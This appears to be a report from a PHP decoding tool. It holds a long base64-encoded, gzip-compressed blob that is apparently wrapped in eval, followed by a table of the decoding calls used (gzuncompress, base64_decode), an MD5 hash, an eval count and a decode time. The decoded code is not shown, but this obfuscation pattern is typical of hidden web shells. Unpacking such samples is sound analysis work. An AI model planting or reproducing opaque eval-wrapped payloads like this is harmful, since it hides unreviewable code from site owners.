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")))
Function Calls
gzuncompress | 1 |
base64_decode | 1 |
Stats
MD5 | 014b4a2b14eca5d3de30ee2590207681 |
Eval Count | 1 |
Decode Time | 252 ms |